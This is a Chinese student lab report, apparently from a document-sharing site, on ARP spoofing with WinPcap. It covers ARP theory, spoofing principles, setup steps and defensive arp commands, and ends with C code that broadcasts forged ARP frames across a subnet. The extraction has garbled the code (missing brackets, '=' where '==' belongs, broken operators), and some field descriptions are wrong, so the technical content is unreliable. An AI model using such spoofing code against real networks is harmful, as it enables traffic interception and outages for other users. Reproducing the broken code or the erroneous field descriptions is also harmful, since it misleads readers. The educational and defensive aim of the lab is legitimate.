




版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
1、網絡程序設計實驗報告 實驗名稱: 基于WinPcap的ARP欺騙實驗 實驗類型: 驗證型 指導教師: 賈浩 專業班級: 信安1204 姓 名: 馬燦 學 號: 20123252 電子郵件: 實驗地點: 東6 E307 實 驗 日 期: 實驗成績:_ 一、實驗目的掌握WinPcaP的安裝和配置;掌握ARP協議工作原理和格式;掌握WinPcap發包程序的編寫;掌握防范ARP地址欺騙的方法和措施; 了解常用抓包軟件,Wireshark、Sniffer Pro等網絡包分析軟件的使用二、實驗設計ARP原理 ARP協議:ARP,全稱Address Re
2、solution Protocol,中文名為地址解析協議,它工作在數據鏈路層,在本層和硬件接口聯系,同時對上層提供服務。IP數據包常通過以太網發送,以太網設備并不識別32位IP地址,它們是以48位以太網地址傳輸以太網數據包。因此,必須把IP目的地址轉換成以太網目的地址。這個過程稱為地址解析,用于將IP地址解析成硬件地址的協議就被稱為地址解析協議(ARP協議)。即ARP協議用于將網絡中的IP地址解析為的硬件地址(MAC地址),以保證通信的順利進行,這個過程是動態、自動完成且對用戶是透明的。 (1)ARP報頭結構 ARP報頭結構,如上圖所示。 硬件類型字段:
3、指明了發送方想知道的硬件接口類型,以太網的值為1; 協議類型字段:指明了發送方提供的高層協議類型,IP為0800(16進制); 硬件地址長度和協議長度:指明了硬件地址和高層協議地址的長度,這樣ARP報文就可以在任意硬件和任意協議的網絡中使用; 操作字段:用來表示這個報文的類型,ARP請求為1,ARP響應為2,RARP請求為3,RARP響應為4; 發送方的硬件地址(0-3字節):源主機硬件地址的前3個字節; 發送方的硬件地址(4-5字節):源主機硬件地址的后3個字節; 發送方IP(0-1字節):源主機硬件地址的前2個字節; 發送方IP(2-3字節
4、):源主機硬件地址的后2個字節; 目的硬件地址(0-1字節):目的主機硬件地址的前2個字節; 目的硬件地址(2-5字節):目的主機硬件地址的后4個字節; 目的IP(0-3字節):目的主機的IP地址。(2).ARP工作原理 ARP的工作原理如下: .首先,每臺主機都會在自己的ARP緩沖區 (ARP Cache)中建立一個 ARP列表,以表示IP地址和MAC地址的對應關系。 當源主機需要將一個數據包要發送到目的主機時,會首先檢查自己 ARP列表中是否存在該 IP地址對應的MAC地址,如果有就直接將數據包發送到這個MAC地址;如果沒有,就向本地網段發起一個ARP請求的廣播包,查詢此目的主機對應的MA
5、C地址。此ARP請求數據包里包括源主機的IP地址、硬件地址、以及目的主機的IP地址。 網絡中所有的主機收到這個ARP請求后,會檢查數據包中的目的IP是否和自己的IP地址一致。如果不相同就忽略此數據包;如果相同,該主機首先將發送端的MAC地址和IP地址添加到自己的ARP列表中,如果ARP表中已經存在該IP的信息,則將其覆蓋,然后給源主機發送一個 ARP響應數據包,告訴對方自己是它需要查找的MAC地址; 源主機收到這個ARP響應數據包后,將得到的目的主機的IP地址和MAC地址添加到自己的ARP列表中,并利用此信息開始數據的傳輸。如果源主機一直沒有收到ARP響應數據包,表示ARP查詢失敗。 (3)A
6、RP地址欺騙的原理 ARP 欺騙分兩種,一種是對路由器 ARP 表的欺騙;另一種是對內網 PC 的網關欺騙。第一種 ARP 欺騙的原理是截獲網關數據。它通知路由器一系列錯誤的內網 MAC 地址,并按照一定的頻率不斷的更新學習進行,使真實的地址信息無法通過更新保存在路由器中,結果路由器的所有數據只能發送錯誤的 MAC 地址,造成正常的 PC 無法收到信息。第二種 ARP 欺騙原理是通過交換機的 MAC 地址學習機制,偽造網關。它的原理是建立假的網關,讓被它欺騙的 PC 向假網關發送數據,而不是通過正常的路由器或交換途徑尋找網關,造成在同一網關的所有 PC 無法訪問網絡。 實驗內容1、下載并安裝最
7、新的WinPcap安裝程序,在開發環境中進行正確配置。2、根據ARP欺騙原理,設計網管欺騙程序的編寫流程,編寫代碼實現對內網PC的進行欺騙。3、(選做)實現ARP雙向欺騙。實驗步驟(1) 安裝配置構造網絡數據包環境 WinPcap的安裝 Winpcap為win32應用成程序提供訪問網絡底層的能力,在使用基于winpcap的抓包工具是需要先安裝Winpcap(wireshark會自帶安裝最新版本),下載winpcap_4_0_2.exe安裝,另外,若需要設計相應的開發,可以下載相應的wpdpcak開發包文件。并在VC+中添加好相應INCLU
8、DE和LIB。具體步驟是: 選擇工具>選項>目錄下的INCLUDE FILES和LIBRARY FILES中添加: 安裝Libnet首先將下載的Libnet開發包解壓縮,生成一個文件夾Libnet_1.1.2.1 ,把所有文件拷到一個盤符下,在LIBNET下的文件夾win32,雙擊文件libnet.dsw導入到visual C+ 工作空間。此時可以對Libnet進行編譯,但在libnet 用到wincrypt
9、API函數,所以必須加上庫中文件advapi32.lib。具體步驟是: 選擇:工程>設置>連接:在對象/苦模塊中加入(wsock32.lib是windows中需要掉要其他網絡函數所必須加入的)安裝PSDK 在官網上下載PSDK相關的文件,應該有十七個,其中包括16個PSDK-FULL.CAB文件和一個EXE文件,在執行EXE后會生成一個PSDK-FULL.BAT和一個EXTRACT.EXE文件,此時需要到命令行中執行PSDK-FULL.BAT,
10、便可以一次性將16個CAB解壓(如果是自己手動解壓,注意要將所有的解壓文件放入同一個文件夾下,同時要注意解壓的層次。否則會報錯)(2) 構造ARP應答欺騙包源程序 三、實驗過程(包含實驗結果)1. 安裝配置構造網絡數據包環境 。2. 構造ARP應答欺騙包源程序 3.調制好程序實現ARP欺騙。四、討論與分析如何防止ARP欺騙 ? 答:清空ARP緩存:大家可能都曾經有過使用ARP的指令法解決過ARP欺騙問題,該方法是針對ARP欺騙原理進行解決的。一般來說ARP欺騙都是通過發送虛假的MAC地址與IP地址的對應ARP數據包來迷惑網絡設備,用虛假的或錯
11、誤的MAC地址與IP地址對應關系取代正確的對應關系。若是一些初級的ARP欺騙,可以通過ARP的指令來清空本機的ARP緩存對應關系,讓網絡設備從網絡中重新獲得正確的對應關系,具體解決過程如下:第一步:通過點擊桌面上任務欄的“開始”->“運行”,然后輸入cmd后回車,進入cmd(黑色背景)命令行模式;第二步:在命令行模式下輸入arp -a命令來查看當前本機儲存在本地系統ARP緩存中IP和MAC對應關系的信息;第三步:使用arp -d命令,將儲存在本機系統中的ARP緩存信息清空,這樣錯誤的ARP緩存信息就被刪除了,本機將重新從網絡中獲得正確的ARP信息,達到局域網機器間互訪和正常上網的目的。如
12、果是遇到使用ARP欺騙工具來進行攻擊的情況,使用上述的方法完全可以解決。但如果是感染ARP欺騙病毒,病毒每隔一段時間自動發送ARP欺騙數據包,這時使用清空ARP緩存的方法將無能為力了。下面將接收另外一種,可以解決感染ARP欺騙病毒的方法。2、指定ARP對應關系:其實該方法就是強制指定ARP對應關系。由于絕大部分ARP欺騙病毒都是針對網關MAC地址進行攻擊的,使本機上ARP緩存中存儲的網關設備的信息出現紊亂,這樣當機器要上網發送數據包給網關時就會因為地址錯誤而失敗,造成計算機無法上網。第一步:我們假設網關地址的MAC信息為00-14-78-a7-77-5c,對應的IP地址為192.168.2.1
13、。指定ARP對應關系就是指這些地址。在感染了病毒的機器上,點擊桌面->任務欄的“開始”->“運行”,輸入cmd后回車,進入cmd命令行模式;第二步:使用arp -s命令來添加一條ARP地址對應關系, 例如arp -s 192.168.2.1 00-14-78-a7-77-5c命令。這樣就將網關地址的IP與正確的MAC地址綁定好了,本機網絡連接將恢復正常了;第三步:因為每次重新啟動計算機的時候,ARP緩存信息都會被全部清除。所以我們應該把這個ARP靜態地址添加指令寫到一個批處理文件(例如:bat)中,然后將這個文件放到系統的啟動項中。當程序隨系統的啟動而加載的話,就可以免除因為ARP
14、靜態映射信息丟失的困擾了。五、實驗者自評(從實驗設計、實驗過程、對實驗知識點的理解上給出客觀公正的自我評價)通過這次實驗,我了解了ARP欺騙的原理,掌握了ARP 的安裝以及環境配置。學會了通過調用不同的動態鏈接和函數實現偽造不同的協議包,達到網絡入侵的目的,同時在網絡安全方面也有了更多的認識,懂得如何使用靜態MAC映射,軟件防御相應的ARP攻擊。同時。通過自己的設想變成實現了對APR映射表的保護。六、附錄:關鍵代碼(給出適當注釋,可讀性高)#define _W64#define HAVE_REMOTE#include "pcap.h"#define ETHERTYPE_IP
15、 0x0800#define ETHERTYPE_ARP 0x0806typedef struct _ETHeader / 14字節的以太頭UCHARdhost6;/ 目的MAC地址destination mac addressUCHARshost6;/ 源MAC地址source mac addressUSHORTtype;/ 下層協議類型,如IP(ETHERTYPE_IP)、ARP(ETHERTYPE_ARP)等 ETHeader, *PETHeader;#define ARPHRD_ETHER 1/ ARP協議opcodes#defineARPOP_REQUEST1/ ARP 請求#def
16、ineARPOP_REPLY2/ ARP 響應typedef struct _ARPHeader/ 28字節的ARP頭USHORThrd;/硬件地址空間,以太網中為ARPHRD_ETHERUSHORTeth_type;/ 以太網類型,ETHERTYPE_IP ?UCHARmaclen;/MAC地址的長度,為6UCHARiplen;/IP地址的長度,為4USHORTopcode;/操作代碼,ARPOP_REQUEST為請求,ARPOP_REPLY為響應UCHARsmac6;/源MAC地址UCHARsaddr4;/源IP地址UCHARdmac6;/目的MAC地址UCHARdaddr4;/目的IP地
17、址 ARPHeader, *PARPHeader;/* 4 bytes IP address */typedef struct ip_address u_char byte1; u_char byte2; u_char byte3; u_char byte4;ip_address;/* IPv4 header */typedef struct ip_header u_char ver_ihl; / Version (4 bits) + Internet header length (4 bits) u_char tos; / Type of service u_short tlen; / To
18、tal length u_short identification; / Identification u_short flags_fo; / Flags (3 bits) + Fragment offset (13 bits) u_char ttl; / Time to live u_char proto; / Protocol u_short crc; / Header checksum ip_address saddr; / Source address ip_address daddr; / Destination address u_int op_pad; / Option + Pa
19、ddingip_header;/* UDP header*/typedef struct udp_header u_short sport; / Source port u_short dport; / Destination port u_short len; / Datagram length u_short crc; / Checksumudp_header;/* prototype of the packet handler */void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_ch
20、ar *pkt_data);/回調函數int main()pcap_if_t *alldevs;/獲取到的設備列表pcap_if_t *d;/指向的一個網絡設備int inum;/保存用戶選擇的用于捕獲數據的網絡適配器編號int i=0;pcap_t *adhandle;/用于捕獲數據的Winpcap會話句柄char errbufPCAP_ERRBUF_SIZE;/錯誤緩沖區 u_int netmask;char packet_filter = "arp"struct bpf_program fcode;/bpf過濾代碼結構 /Retrieve the device lis
21、t 獲得設備列表 if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) = -1)/pcap_findalldevs_ex 獲得本地計算機上所有的網絡設備列表設備列表 fprintf(stderr,"Error in pcap_findalldevs: %sn", errbuf);/fprintf() 打印每個網絡設備的信息 exit(1); /* Print the list */ for(d=alldevs; d; d=d->next) printf("%d. %s
22、", +i, d->name); if (d->description) printf(" (%s)n", d->description); else printf(" (No description available)n"); if(i=0) printf("nNo interfaces found! Make sure WinPcap is installed.n"); return -1; printf("Enter the interface number (1-%d):",i
23、); scanf("%d", &inum); if(inum < 1 | inum > i) printf("nInterface number out of range.n"); /* Free the device list */ pcap_freealldevs(alldevs);/釋放網絡設備鏈表 return -1; /跳轉到已選設備 for(d=alldevs, i=0; i< inum-1 ;d=d->next, i+); /* 打開適配器 */ if ( (adhandle= pcap_open(d->
24、;name, / name of the device 設備名 65536, / portion of the packet to capture. 要捕獲的數據包的部分 / 65536 grants that the whole packet will be captured on all the MACs.65536保證能捕獲到不同數據鏈路層上的每個數據包上的全部內容 PCAP_OPENFLAG_PROMISCUOUS, / promiscuous mode 混雜模式 1000, / read timeout 讀取超時時間 NULL, / remote authentication 遠程機
25、器驗證 errbuf / error buffer ) ) = NULL) fprintf(stderr,"nUnable to open the adapter. %s is not supported by WinPcapn"); /* Free the device list */ pcap_freealldevs(alldevs); return -1; /* Check the link layer. We support only Ethernet for simplicity. */ if(pcap_datalink(adhandle) != DLT_EN10
26、MB)/pcap_datalink檢查數據鏈路層 fprintf(stderr,"nThis program works only on Ethernet networks.n"); /* Free the device list */ pcap_freealldevs(alldevs); return -1; if(d->addresses != NULL) /* Retrieve the mask of the first address of the interface */ netmask=(struct sockaddr_in *)(d->addres
27、ses->netmask)->sin_addr.S_un.S_addr; else /* If the interface is without addresses we suppose to be in a C class network */ netmask=0xffffff; /compile the filter if (pcap_compile(adhandle, &fcode, packet_filter, 1, netmask) <0 ) fprintf(stderr,"nUnable to compile the packet filter.
28、 Check the syntax.n"); /* Free the device list */ pcap_freealldevs(alldevs); return -1; /set the filter if (pcap_setfilter(adhandle, &fcode)<0) fprintf(stderr,"nError setting the filter.n"); /* Free the device list */ pcap_freealldevs(alldevs); return -1; printf("nlistenin
29、g on %s.n", d->description);/發送arp包u_char ucFrame100;/ 設置Ethernet頭u_char arDestMac6=0xff,0xff,0xff,0xff,0xff,0xff;u_char arSourceMac6=0x00,0x1F,0x16,0x26,0x33,0xF8;ETHeader eh = 0 ;memcpy(eh.dhost, arDestMac, 6);/memcpy內存拷貝函數,從源src所指的內存地址的起始位置開始拷貝n個字節到目標dest所指的內存地址的起始位置中memcpy(eh.shost, arSo
30、urceMac, 6);eh.type = :htons(ETHERTYPE_ARP);memcpy(ucFrame, &eh, sizeof(eh);/ 設置Arp頭ARPHeader ah = 0 ;ah.hrd = htons(ARPHRD_ETHER);ah.eth_type = htons(ETHERTYPE_IP);ah.maclen = 6;ah.iplen = 4;ah.opcode = htons(ARPOP_REQUEST);ULONG32 sIPAddr=inet_addr("192.168.250.188");ULONG32 dIPAddr=
31、inet_addr("192.168.250.1");memcpy(ah.smac, arSourceMac, 6);memcpy(ah.saddr, &sIPAddr, 4);memcpy(ah.dmac, arDestMac, 6);memcpy(ah.daddr, &dIPAddr, 4);int n=255;while(n)char str100;sprintf(str,"192.168.4.%d",n); dIPAddr=inet_addr(str);memcpy(ah.daddr, &dIPAddr, 4);memcp
32、y(&ucFramesizeof(ETHeader), &ah, sizeof(ah);if (pcap_sendpacket(adhandle,ucFrame,42) != 0)fprintf(stderr,"nError sending the packet: %sn", pcap_geterr(adhandle);/pcap_geterr獲取錯誤消息return 3;n=n-1; /* At this point, we don't need any more the device list. Free it */ pcap_free
33、alldevs(alldevs); /* start the capture */ pcap_loop(adhandle, 0, packet_handler, NULL); return 0;/* Callback function invoked by libpcap for every incoming packet */void packet_handler(u_char *param, const struct pcap_pkthdr *header,const u_char *pkt_data)/param指定的參數user,header收到的數據包頭,pkt_data接收到的數據包內容s
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 浙江省杭州八中2025屆高三下學期期末學習能力診斷數學試題含解析
- 吉林省白城市洮南十中2024-2025學年高三第五次教學質量檢測試題考試數學試題含解析
- 新疆維吾爾自治區2025年初三下學期第四次月考英語試題含答案
- 統編版二年級語文下冊期末測試卷(D)(含答案)
- 部編版2024-2025學年五下語文期中模擬卷(1-4)(有答案)
- 收割機操作員勞務合同
- 工程承包合同稅務處理框架協議
- 合同履行擔保制度探索與實踐
- 中醫內科學與中醫臨證方法課件
- 3《這是我們的校園》公開課一等獎創新教學設計(表格式)-1
- 《小兒支氣管炎肺炎》課件
- 職場人健康狀況調查報告
- 基于時序數據的深度學習異常檢測技術
- 第六章 內輪廓加工
- 磁材自動成型液壓機設計
- 工程力學答案
- 石材翻新工藝流程
- 2023年新高考生物江蘇卷試題真題答案解析版(精校打印)
- 自動飛行控制系統課件
- 銀川市西夏區國有企業招聘考試真題2022
- 2020年度城鎮道路工程施工與質量驗收規范
評論
0/150
提交評論